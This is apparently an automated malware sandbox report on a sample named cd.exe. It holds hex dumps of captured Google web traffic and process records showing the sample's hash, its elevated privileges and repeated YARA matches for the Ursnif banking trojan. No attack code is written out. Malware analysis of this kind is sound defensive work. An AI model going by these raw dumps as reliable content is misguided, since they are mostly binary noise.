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2021-09-14 14:03:24 UTC 167 IN Data Raw: 7c 76 6f 69 64 20 30 3d 3d 3d 64 3f 76 6f 69 64 20 30 3a 64 2e 63 61 6c 6c 28 61 2c 22 73 63 72 69 70 74 5b 
6e 6f 6e 63 65 5d 22 29 29 3f 62 2e 6e 6f 6e 63 65 7c 7c 62 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 6e 6f 6e 63 65 
22 29 7c 7c 22 22 3a 22 22 29 26 26 63 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 6e 6f 6e 63 65 22 2c 64 29 3b 64 6f 
63 75 6d 65 6e 74 2e 62 6f 64 79 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 63 29 3b 67 6f 6f 67 6c 65 2e 70 73 61 3d 21 30 
7d 3b 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6d 28 29 7d 2c 30 29 3b 7d 29 28 29 3b 28 66 75 
6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 67 6f 6f 67 6c 65 2e 78 6a 73 75 3d 27 2f 78 6a 73 2f 5f 2f 6a 73 2f 6b 5c 
78 33 64 78 6a 73 2e 73 2e 65 6e 5f 47 42 2e 66 6a 6a 
Data Ascii: |void 0===d?void 0:d.call(a,"script[nonce]"))?b.nonce||b.getAttribute("nonce")||"":"")&&c.setAttribute("nonc
e",d);document.body.appendChild(c);google.psa=!0};setTimeout(function(){m()},0);})();(function(){window.google.xjsu='/xj
s/_/js/k\x3dxjs.s.en_GB.fjj

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

6 192.168.2.6 49752 142.250.102.106 443 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Timestamp
kBytes
transferred Direction Data

2021-09-14 14:03:24 UTC 167 OUT GET /images/branding/googlelogo/2x/googlelogo_color_272x92dp.png HTTP/1.1
Accept: image/png, image/svg+xml, image/jxr, image/*;q=0.8, */*;q=0.5
Referer: https://www.google.com/?gws_rd=ssl
Accept-Language: en-US
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: www.google.com
Connection: Keep-Alive
Cookie: CONSENT=PENDING+509

2021-09-14 14:03:24 UTC 168 IN HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Type: image/png
Cross-Origin-Resource-Policy: cross-origin
Content-Length: 13504
Date: Tue, 14 Sep 2021 14:03:24 GMT
Expires: Tue, 14 Sep 2021 14:03:24 GMT
Cache-Control: private, max-age=31536000
Last-Modified: Tue, 22 Oct 2019 18:30:00 GMT
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 0
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; m
a=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Connection: close

2021-09-14 14:03:24 UTC 168 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 20 00 00 00 b8 08 06 00 00 00 da 23 57 1b 00 00 
34 87 49 44 41 54 78 01 ec dd 03 90 25 3f 1e c0 f1 9c 6d db b6 7d af 93 c1 d9 28 9d 59 3a 9b af 6e 92 f4 7a ff b6 6d db b6 
ed fb db 77 83 24 3d eb d7 97 9c d7 bb f3 5e bf 99 e9 fe 4e d5 67 8d 9e d2 7c ab 93 5f 22 f8 58 fd a3 d5 2e 1f fd e9 76 f9 
c4 c1 b9 a3 4f 1b 5a d0 79 d2 bb 76 2a 1f 23 ca f2 11 91 00 80 1e 01 d0 94 4f 34 85 84 1c f1 6f 52 d6 7d 59 e6 e1 97 ca 86
ed 94 f5 c7 66 d6 5f 94 69 7f 5b a6 c3 78 66 dd 2a 65 43 b9 6e 6e 49 74 9f b4 e1 ea e8 0c a9 c3 01 ca f8 39 ca 16 3f 94 79 
18 6e cd 2d 5e dc e0 50 01 00 80 00 69 b7 cb 47 a6 d8 90 36 7c 5f 5a bf 87 32 ee ca cc ba 65 29 24 2a a5 c3 68 74 a6 32 
61 b1 b4 ee 8b ca fa e7 45 62 75 00 00 a0 36 9f 
Data Ascii: PNGIHDR #W4IDATx%?m}(Y:nzmw$=^Ng|_"X.vOZyv*#O4oR}Yf_i[xf*eCnnIt9?yn-^PiG6|_Z2e)$*ht2aEbu6

2021-09-14 14:03:24 UTC 169 IN Data Raw: e7 8c 3f 43 59 7f c1 ec f9 e2 ed 83 32 ee 7e 69 c3 cd d2 b8 cb e3 f7 e7 28 eb cf 53 d6 5d 92 ee 68 49 bf a7 b4 
5b 3e 0b 22 64 a5 cc c3 d7 23 01 00 35 46 80 ac 8d 00 51 d6 3f 2f d3 e1 aa 19 38 39 b2 3c d3 fe fc 74 b2 a8 cc c3 2f 95 
29 3e 13 a7 72 5e fb ae 9d ca c7 44 62 63 d2 f8 70 3a 91 34 6d a6 95 d6 7f 55 1a ff 97 e8 88 34 16 3b 83 46 74 0b 46 74 
01 34 00 01 b2 3a 02 a4 35 3f 3c 3f 6d 8a 9c 21 5f 8c 57 65 d6 5f a4 8c 9f 23 f3 30 9c 96 84 22 d1 6b 29 4c a4 9e 7c 59 7a 
f3 a0 74 d8 2f ed c7 20 3e 00 80 00 41 9f 02 64 a8 ed 9f 9b 96 2b a6 7f 34 d5 5d ae 8c ff 69 7a 9e 48 f4 5b da 78 2b b5 57 
d2 fa 5d 32 1b 26 88 8f d5 01 00 01 82 9e ee f9 98 ce 65 97 4c 87 71 a9 c3 c2 81 11 ff 96 48 cc 14 e9 ad 8b cc c3 b7 53 
14 11 1f 00 40 80 f4 10 01 d2 6a 97 8f 57 36 9c 
Data Ascii: ?CY2~i(S]hI[>"d#5FQ?/89<t/)>r^Dbcp:4mU4;FtFt4:5?<?m!_We_#0"k)L|Yzt/ >Ad+4]izH[x+W]2&eLqHS@jW6

2021-09-14 14:03:24 UTC 170 IN Data Raw: 44 6b 0f e7 df 02 01 20 5f 6e ba ac db d3 5a 73 38 02 87 eb 10 48 bc 8d a0 e2 1b 7c 9f d7 c0 c7 e2 63 f2 b1 f9 
37 f8 b7 40 00 c8 17 9f ba 78 db ba c6 f4 05 08 38 1e c1 18 bb 50 67 ac 4e bf 81 c7 6b 62 7f 2e 67 54 a9 f6 2b a1 a6 22 c1
9d 30 26 fd 02 e3 dc 0c 04 1a 69 a5 31 0e 02 ed c9 48 e0 6f a9 58 e8 84 72 8f 6f c2 03 d5 5f 92 5b 8b 0d e2 b4 03 90 70 
63 77 10 c4 e7 1b 0c ce 4c 60 a6 e2 34 cc 5e 4c 87 e5 3c 91 ec 80 3b 88 65 1d d1 e0 a3 c9 58 ed 29 ed f5 7b ac 05 52 89 
38 33 b1 a2 a5 fa d4 65 2d d5 8f 21 48 58 c6 60 c1 0e fc 5b f0 28 fe f6 29 b9 99 b2 16 48 25 62 6b 8c 48 53 fa 7c cc 74 3c 
cf 71 d5 b0 77 d1 05 fd c7 63 a7 a5 d6 01 e9 87 76 c7 74 29 81 e7 02 90 ce fd 46 6d 81 d9 8a df f3 26 c8 96 31 0e 33 c2 
b8 d9 ba 37 19 0f ed 97 6f 90 ff 01 b1 13 0f 84 
Data Ascii: Dk _nZs8H|c7@x8PgNkb.gT+"0&i1HoXro_[pcwL`4^L<;eX){R83e-!HX`[()H%bkHS|t<qwcvt)Fm&137o

2021-09-14 14:03:24 UTC 172 IN Data Raw: 03 10 14 45 aa 03 19 2c 64 4d ff 90 0d dd fc 00 64 b5 2c 72 b4 fd 07 b1 03 db e4 eb 37 8f 73 75 4e c8 52 b6 fd 
07 b1 0b fb a9 f8 81 85 f7 03 10 b6 bb af d8 71 0d 5d c9 07 52 7a 40 58 2e 5d ff 43 94 3e 1a c4 c5 2a 3e 00 61 ef 07 90 c1 
58 10 0f 6c 8b 0f 67 0a f2 be d5 05 3a e6 87 6b b7 06 31 29 37 63 d8 36 b8 e0 76 fa 81 c7 9a 05 cb 72 4f 0e df 1a c4 34 
b4 cd 3f ca 0f 2a bc 1f 80 e0 bc fe 01 64 2a 7c 5c bb 03 a4 14 12 49 2c 1a ab 5f 03 24 bb 3f 88 9b f9 01 48 a6 11 64 a0 b8 
05 0d 33 1f 2f 97 b1 84 f0 6c 2c fd cc 40 d9 e3 9b 50 04 a8 11 11 fa 1f 89 df f3 67 28 9d 3e 13 bf 33 a7 7c 77 0c c1 17 99 
ac 06 62 c4 ab 52 8d f2 e4 2f 95 31 e9 73 36 82 9f 19 2c ef 8e e7 d1 88 04 d8 3f 12 bf e7 cf d0 d6 7f 26 7e 67 4e 19 03 91 
17 f9 1e 81 98 12 9b bc e8 07 56 8b 8b 32 
Data Ascii: E,dMd,r7suNRq]Rz@X.]C>*>aXlg:k1)7c6vrO4?*d*|\I,_$?Hd3/l,@Pg(>3|wbR/1s6,?&~gNV2

2021-09-14 14:03:24 UTC 173 IN Data Raw: c0 34 e1 5f 40 dc cb 9f 01 81 85 20 45 32 b6 ed 96 bb 5c e6 c4 42 1b 81 38 c1 bc fd f7 da 04 77 29 1f 19 da 96 
3b c9 71 db 6e b1 cb 25 d7 22 1b 81 38 c2 74 d9 04 4b 32 1f 19 9a 09 99 04 32 10 13 ee ce 57 21 10 ff 84 e7 8e 57 5b 5b 
f0 35 a2 af d3 c3 95 1e 80 60 e9 60 a4 d7 7a 45 59 38 fb a2 3c a3 f3 71 a1 a5 24 1e 44 bd 58 4e 22 fb 77 10 57 f3 67 40 
3a 41 8a 31 f7 e0 c0 08 66 6b 1b 48 64 ea e4 d2 07 88 93 b0 d0 8f 89 d7 8b 29 d0 af 07 92 5c cb 84 50 e4 31 7c 6d 20 37 
a2 93 4b 1f 20 0e f3 3d 14 32 5b 60 e0 f5 7e 3d d0 e4 da ba c6 ee c3 4c 9c 87 2c 1a 06 e2 14 63 a7 a5 d6 c1 f3 fa b0 92 
03 10 2c 35 df 68 20 00 b9 06 a4 7c ac 65 98 e0 58 e4 f1 f5 e8 be b6 da 83 40 7a c3 83 30 ab 5a b9 14 fb 2b 7e 29 76 b7 
4b cf 03 29 06 4e c8 53 4d ec 76 c1 45 3e 0e e2 44 3c 
Data Ascii: 4_@ E2\B8w);qn%"8tK22W!W[[5``zEY8<q$DXN"wWg@:A1fkHd)\P1|m 7K =2[`~=L,c,5h |eX@z0Z+~)vK)N
SMvE>D<
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2021-09-14 14:03:24 UTC 174 IN Data Raw: 52 08 3b df 56 f2 f2 8b a5 3e b1 64 07 af 07 20 0c 18 34 67 06 b8 6c 0b 52 0a 26 95 62 8c f9 21 12 4a ff a5 5f 
ad 54 65 a7 cb d3 d8 15 78 6c 29 e3 b8 f0 40 9c 4e 44 34 db ae be 1d 37 91 39 16 c4 2c 1f 06 c3 9f 29 16 21 cb f2 f3 00 
d2 17 56 ee 63 cd 0a c5 0f 70 33 88 9b f1 04 d4 ec 8a 99 0f 04 aa 41 7a 83 1a 18 43 59 b3 42 31 f1 b2 19 c4 cd 34 0b b2 
21 98 59 91 7f 55 aa 41 fa 82 04 d4 49 ca 63 65 1c c4 6d 58 74 b2 ae 31 3d d7 d3 01 48 34 74 96 e2 2e b7 0f 41 8a c5 26 
71 c8 3f 39 1f cf e1 1d 07 06 1d 69 7c bd b6 bd 3e b8 1b 48 a9 78 b0 f0 84 ba 4d 3b 00 61 f3 22 10 b3 7c 78 af ef b5 b3 94 
3e fb a1 28 6f 49 6b 04 71 33 b6 d4 87 bc 96 42 7d 70 d8 0f 45 b9 f2 69 23 88 cb 5d a2 f9 9e f4 d7 07 47 3b 6f ce cd 49 fb 
b8 01 7a c8 cb 01 08 97 14 14 8b 8f 3d 0c d2 9f 
Data Ascii: R;V>d 4glR&b!J_Texl)@ND479,)!Vcp3AzCYB14!YUAIcemXt1=H4t.A&q?9i|>HxM;a"|x>(oIkq3B}pEi#]G;oIz=

2021-09-14 14:03:24 UTC 175 IN Data Raw: 13 ec 04 53 b3 20 6c e1 6c f5 1b 29 99 0f 6d c0 d3 af 29 57 ac 9d 37 e1 ee 7c 15 48 31 90 b7 b1 b7 6e d5 cf e0 
39 20 6e 86 d7 f1 13 c8 6b 99 1f 0d d4 82 f4 06 cb 00 7b eb 2e 37 54 9f 03 e2 6e 43 7e a2 bc 0b a6 16 a4 2f 8a 95 50 21 
fd 25 88 5b e1 5a 31 d5 d3 01 48 2c 78 a9 0b 82 8e 2c ab ac 76 44 47 ef 01 e2 06 05 ff 23 2f 48 f8 3f f9 5d c8 9b 80 3b e9 
5f 80 94 c6 87 d9 8f d3 f5 67 a5 b2 97 83 14 8b 85 c3 94 b7 9c 5e 0f e2 66 2c d7 ac bb 2c b5 f7 a6 20 bd 61 e1 30 cd 8b 
2d 5c 0f e2 6e 55 b7 a9 d6 46 99 29 9b 82 f4 05 77 fd 7f d3 3c 07 dd 5c ac 91 b9 7d 5e 0e 40 f4 6e 2e f4 25 63 81 f7 30 43 
73 e1 fc fd 6b d7 05 71 13 1e 0a 8a 36 75 1f 6e 2c 17 24 91 5e 8e 7c 86 5a 90 e2 f8 c2 0d e9 8d f1 de a5 0c f4 ec d9 05 a4 
58 4c 64 c2 16 ae c5 7a 01 48 e0 0d 10 37 53 
Data Ascii: S ll)m)W7|H1n9 nk{.7TnC~/P!%[Z1H,x,vDG#/H?];_g^f,, a0-\nUF)w<\}^@n.%c0Cskq6un,$^|ZXLdzH7S

2021-09-14 14:03:24 UTC 177 IN Data Raw: 57 f3 af 4a 35 88 13 e5 a6 cb 50 bc ee 77 d4 5f 37 66 54 40 4a c1 59 61 13 37 0c 98 59 09 83 38 11 b6 de de 
c1 e7 58 69 01 c8 ac 31 63 86 1b d9 8e 1b 09 fd 10 c4 b1 62 a1 1f ac 76 a3 99 49 45 03 e7 2a cc 86 e0 30 40 d8 86 39 ac 
70 37 56 fd bc 10 b6 7c 06 f1 a2 d8 94 ec 48 2c 8b bc 67 fa 7d c4 df 98 cf 6a aa 20 5a d8 17 c6 50 27 c7 8b 41 9c a7 97 
c4 53 bd 9e 38 21 90 52 58 7d 61 0c b8 18 c4 89 ac c4 53 6d 78 2f 43 20 a5 42 32 e6 83 06 9a 76 ce e6 4c 03 88 b3 64 0f 
e6 f3 ab c4 00 84 b0 f4 7a a3 81 00 e4 b3 d4 d8 b1 eb 80 38 d0 3a 58 2a 7a 77 8d e7 ac 30 1b c2 c3 80 31 f2 b7 76 68 d8 
b4 24 93 43 bd 90 1b ac 9e 09 5e c0 5d 28 78 6d 13 59 96 de 8e f7 10 59 fb 47 82 68 62 24 cc ad 63 66 b2 c3 03 c7 83 38 
0a 6a 74 98 78 ad ac 2c 3b a0 bb 0a ec d8 c0 9d f8 eb 26 
Data Ascii: WJ5Pw_7fT@JYa7Y8Xi1cbvIE*0@9p7V|H,g}j ZP'AS8!RX}aSmx/C B2vLdz8:X*zw01vh$C^](xmYYGhb$cf8j
tx,;&

2021-09-14 14:03:24 UTC 178 IN Data Raw: 39 2c 0c ef b9 3e 96 62 e6 da d6 ba 1a eb 95 c9 78 f0 48 46 f1 20 03 c1 8a ae c9 68 e0 68 3b 5b 6e b3 e9 1c 
d7 5b 41 34 61 d9 62 7d 04 07 73 ed b8 80 5b 6d fc 7b 9a 6b 8e 64 71 30 90 81 60 45 57 94 95 3f 1a 8f d5 62 cb f3 b6 9a 
ce b5 c8 7a 20 da 70 0e 9e 69 67 82 39 ab 27 0f a6 66 08 73 4b 30 73 73 0a ca 2a bc 5a fc df f6 03 10 60 d0 7f be 4d 63 
46 06 63 dd d5 5c 26 19 ec 76 5d 96 7f e7 8e 1b d6 1f b1 ab c3 6f 6f 15 9e 79 30 06 17 ea 9f 96 e5 43 ec 9b 08 52 4e 1d 
f1 50 cc 2a 53 6e 17 56 28 e4 94 28 07 84 54 64 74 a0 9f 5c 91 11 2c a5 ce e4 52 cc a4 dc 6b ec 2e a6 40 a2 59 2a 16 a8 
03 31 01 b3 20 31 ab 4c b9 8d 81 c8 22 2c 41 dc 8d 0b fb f9 cb 9f a8 0e f4 93 2b 32 82 a5 d4 99 5c 8a 60 e9 5e 3c d7 b4 
ad cf 95 ef 4d 4b 55 1d 88 09 bc 09 63 ab 7e bb 6f ac f0 
Data Ascii: 9,>bxHF hh;[n[A4ab}s[m{kdq0`EW?bz pig9'fsK0ss*Z`McFc\&v]ooy0CRNP*SnV((Tdt\,Rk.@Y*1 1L",A
+2\`^<MKUc~o

2021-09-14 14:03:24 UTC 179 IN Data Raw: 1b f0 44 05 04 1f 0b 71 32 4f e5 5d 11 48 a5 61 ff 98 64 2c f0 9e 1b ef 04 ac be 2e 6e c6 fe 31 f0 9e fb 82 8f aa 
b7 ad be 2e 6e 56 9f 58 b2 03 f2 bc 1e 71 76 c5 e5 cc fd f1 a9 0b d6 03 b1 f8 01 48 e9 58 1b 09 33 90 ff 76 e3 16 5b 76 0b 
07 d1 c0 83 6b c4 a6 64 47 e2 04 b8 81 ad ae 3d b6 d4 f2 11 ef 80 c2 0d c9 b5 41 2a 19 73 43 52 b1 e0 39 2c 5c e6 8a ed 
b5 d1 da 33 75 73 3d ca 9f 1b b2 bc a5 fa 1c 37 14 2e e3 f6 5a 2c 1f 9d 69 e5 7a 78 45 5d 63 f6 20 b6 c3 77 dc 72 70 63 
f6 0c 2e 91 83 ac 46 2f 00 49 a4 97 83 94 c0 b5 01 88 25 19 0f 8c c3 0d cc b3 2e 08 3c 3e 41 95 d7 63 ac 2e bc 5a 70 70 
1f b6 8e c6 ac c8 a9 58 87 9c 89 3e 0b 2b dc 59 cb 23 9b c6 89 7b 4b 24 b1 68 ec 9a 27 b5 8f d3 7b ab b2 c7 3f 76 60 92 
e9 87 2c b9 6c b5 97 f6 22 b6 d6 c7 05 fe 3c cc 
Data Ascii: Dq2O]Had,.n1.nVXqvHX3v[vkdG=A*sCR9,\3us=7.Z,izxE]c wrpc.F/I%.<>Ac.ZppX>+Y#{K$h'{?v`,l"<

2021-09-14 14:03:24 UTC 181 IN Data Raw: 00 20 93 46 e5 e0 96 e1 60 89 b1 63 fe 52 88 59 b8 d3 02 d5 13 b4 bf 21 5e 02 e2 76 0c 54 bd 80 20 00 40 c5 
1a f9 4f d3 85 d7 47 24 da bf f3 1f 4b e0 86 cb 1a 87 40 75 b3 cc b8 59 13 63 47 c4 4a 40 d6 d7 43 e7 0e 54 bd 80 20 00 
40 45 64 bf 8a ec a1 92 eb 95 81 d7 43 d8 7b bb 7d 8f 94 ac a5 88 95 7c c8 1e ad 40 a1 7e 08 42 44 00 b0 e1 79 63 27 95 
a2 d2 4c fb 67 06 31 13 63 af 40 75 a3 ac 18 32 a7 74 ad 44 4c 40 ce 6a 2d d6 20 01 01 00 f4 17 95 16 ce 94 45 a5 2d 2b 
b7 d4 1a bb 44 a0 ba 8f bf 33 68 c6 92 6a bb 4e a0 50 3f 04 01 00 06 a9 ef 64 bf 61 59 54 1a 8d f6 ef ad 9f ff 3c 43 a0 ba 
45 9f 76 bb c4 fb 1f 85 fd 32 cf 9b 13 04 0a f5 43 10 00 60 90 d6 3b 63 ec 94 89 f1 3f c8 a1 1a 53 a2 dd 73 b2 6a 3f 50 9d 
96 19 b7 4c 59 cb 12 4d e1 cf 0e 14 ea 89 20 c4 00 
Data Ascii:  F`cRY!^vT @OG$K@uYcGJ@CT @EdC{}|@~BDyc'Lg1c@u2tDL@j- E-+D3hjNP?daYT<CEv2C`;c?Ssj?PLYM 

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

7 192.168.2.6 49755 142.250.102.106 443 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Timestamp
kBytes
transferred Direction Data

2021-09-14 14:03:24 UTC 182 OUT GET /gen_204?ei=rKtAYY2rHY25kwWZrp3YAw&vet=10ahUKEwiNsaLc0P7yAhWN3KQKHRlXBzsQhJAHCBQ..s&gl
=GB&pc=SEARCH_HOMEPAGE&isMobile=false HTTP/1.1
Accept: image/png, image/svg+xml, image/jxr, image/*;q=0.8, */*;q=0.5
Referer: https://www.google.com/?gws_rd=ssl
Accept-Language: en-US
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: www.google.com
Connection: Keep-Alive
Cookie: CONSENT=PENDING+509

2021-09-14 14:03:24 UTC 182 IN HTTP/1.1 204 No Content
Content-Type: text/html; charset=UTF-8
P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."
Date: Tue, 14 Sep 2021 14:03:24 GMT
Server: gws
Content-Length: 0
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; m
a=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Connection: close
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Behavior

Click to jump to process

System Behavior

Session ID Source IP Source Port Destination IP Destination Port Process

8 192.168.2.6 49757 142.250.102.106 443 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Timestamp
kBytes
transferred Direction Data

2021-09-14 14:03:24 UTC 183 OUT GET /images/searchbox/desktop_searchbox_sprites318_hr.png HTTP/1.1
Accept: image/png, image/svg+xml, image/jxr, image/*;q=0.8, */*;q=0.5
Referer: https://www.google.com/?gws_rd=ssl
Accept-Language: en-US
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: www.google.com
Connection: Keep-Alive
Cookie: CONSENT=PENDING+509

2021-09-14 14:03:24 UTC 183 IN HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Type: image/png
Cross-Origin-Resource-Policy: cross-origin
Content-Length: 779
Date: Tue, 14 Sep 2021 14:03:24 GMT
Expires: Tue, 14 Sep 2021 14:03:24 GMT
Cache-Control: private, max-age=31536000
Last-Modified: Wed, 22 Apr 2020 22:00:00 GMT
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 0
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; m
a=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Connection: close

2021-09-14 14:03:24 UTC 183 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 7c 08 03 00 00 00 2c 3f 02 be 00 00 00 
7b 50 4c 54 45 00 00 00 9f 9f 9f 9b a1 a7 9b a0 a6 9a a0 a5 9a a0 a6 9b a0 a6 9a a0 a6 9a 9f a5 9b a0 a6 9a a0 a6 95 9f 
a5 99 a0 a6 97 9f 9f 99 9f a4 97 9f a5 9a 9f a6 9a a0 a6 97 9f a7 9b a0 a8 9a a0 a7 99 9f a5 97 9f a3 9a a0 a6 9c a5 ad 98 
9f a7 99 9f a6 99 9f a6 99 9f a6 9a a0 a5 9a 9f a5 9c a1 a6 9a a0 a6 9b 9f a3 99 9f a3 9a 9f a5 98 9f a5 9a a1 a8 97 9f a7 
9c 9f a6 9a a0 a7 19 ac ba 35 00 00 00 29 74 52 4e 53 00 10 7f bf ef ff cf af 60 8f df 30 af 20 70 60 90 cf 20 8f 9f 80 40 bf 
1f b0 70 a0 50 9f 90 5f ef 40 50 30 90 6f 40 50 bf 7c 3a 38 a2 00 00 02 16 49 44 41 54 78 01 ed d6 87 92 da 30 10 80 61 
0b fb a7 2c 27 cb f8 84 2e 39 6a 7a de ff 05 
Data Ascii: PNGIHDR(|,?{PLTE5)tRNS`0 p` @pP_@P0o@P|:8IDATx0a,'.9jz

2021-09-14 14:03:24 UTC 184 IN Data Raw: 59 0d 6e 5d b9 41 7e 2a ba 6a 90 50 74 2a 4b 4e 65 d1 a9 2c 3a 95 27 d3 b5 ea 4a b9 4d d1 a9 fc ac ee ef eb 
de 57 74 dc 23 29 5b c1 b9 77 00 00 00 00 49 45 4e 44 ae 42 60 82 
Data Ascii: Yn]A~*jPt*KNe,:'JMWt#)[wIENDB`

Start time: 16:02:47

Start date: 14/09/2021

Path: C:\Users\user\Desktop\cd.exe

Wow64 process (32bit): true

Commandline: 'C:\Users\user\Desktop\cd.exe' 

Imagebase: 0x400000

File size: 3922432 bytes

Analysis Process: cd.exe PID: 6888 Parent PID: 2272Analysis Process: cd.exe PID: 6888 Parent PID: 2272

General
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File ActivitiesFile Activities

MD5 hash: CD02E745A08DD29CB6FDA1761B2F4B6E

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_Ursnif, Description: Yara detected  Ursnif, Source: 
00000001.00000003.408326958.0000000003138000.00000004.00000040.sdmp, Author: 
Joe Security
Rule: JoeSecurity_Ursnif, Description: Yara detected  Ursnif, Source: 
00000001.00000003.408240054.0000000003138000.00000004.00000040.sdmp, Author: 
Joe Security
Rule: JoeSecurity_Ursnif, Description: Yara detected  Ursnif, Source: 
00000001.00000003.407536237.0000000003138000.00000004.00000040.sdmp, Author: 
Joe Security
Rule: JoeSecurity_Ursnif, Description: Yara detected  Ursnif, Source: 
00000001.00000002.429559902.0000000003138000.00000004.00000040.sdmp, Author: 
Joe Security
Rule: JoeSecurity_Ursnif, Description: Yara detected  Ursnif, Source: 
00000001.00000003.408480874.0000000003138000.00000004.00000040.sdmp, Author: 
Joe Security
Rule: JoeSecurity_Ursnif, Description: Yara detected  Ursnif, Source: 
00000001.00000003.408113887.0000000003138000.00000004.00000040.sdmp, Author: 
Joe Security
Rule: JoeSecurity_Ursnif, Description: Yara detected  Ursnif, Source: 
00000001.00000003.407620205.0000000003138000.00000004.00000040.sdmp, Author: 
Joe Security
Rule: JoeSecurity_Ursnif, Description: Yara detected  Ursnif, Source: 
00000001.00000003.408655668.0000000003138000.00000004.00000040.sdmp, Author: 
Joe Security
Rule: JoeSecurity_Ursnif, Description: Yara detected  Ursnif, Source: 
00000001.00000003.408034062.0000000003138000.00000004.00000040.sdmp, Author: 
Joe Security

Reputation: low

Show Windows behavior

File ActivitiesFile Activities

Registry ActivitiesRegistry Activities

Start time: 16:03:15

Start date: 14/09/2021

Path: C:\Program Files\internet explorer\iexplore.exe

Wow64 process (32bit): false

Commandline: 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding

Imagebase: 0x7ff721e20000

File size: 823560 bytes

MD5 hash: 6465CB92B25A7BC1DF8E01D8AC5E7596

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Show Windows behavior

Show Windows behavior

Start time: 16:03:17

Start date: 14/09/2021

Path: C:\Program Files (x86)\Internet Explorer\iexplore.exe

Wow64 process (32bit): true

File ReadFile Read

Analysis Process: iexplore.exe PID: 4568 Parent PID: 792Analysis Process: iexplore.exe PID: 4568 Parent PID: 792

General

Analysis Process: iexplore.exe PID: 160 Parent PID: 4568Analysis Process: iexplore.exe PID: 160 Parent PID: 4568

General
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Joe Sandbox Cloud Basic 33.0.0 White Diamond

Disassembly

Code Analysis

Copyright Joe Security LLC

File ActivitiesFile Activities

Commandline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:4568 CREDAT:17410 
/prefetch:2

Imagebase: 0xb20000

File size: 822536 bytes

MD5 hash: 071277CC2E3DF41EEEA8013E2AB58D5A

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Show Windows behavior
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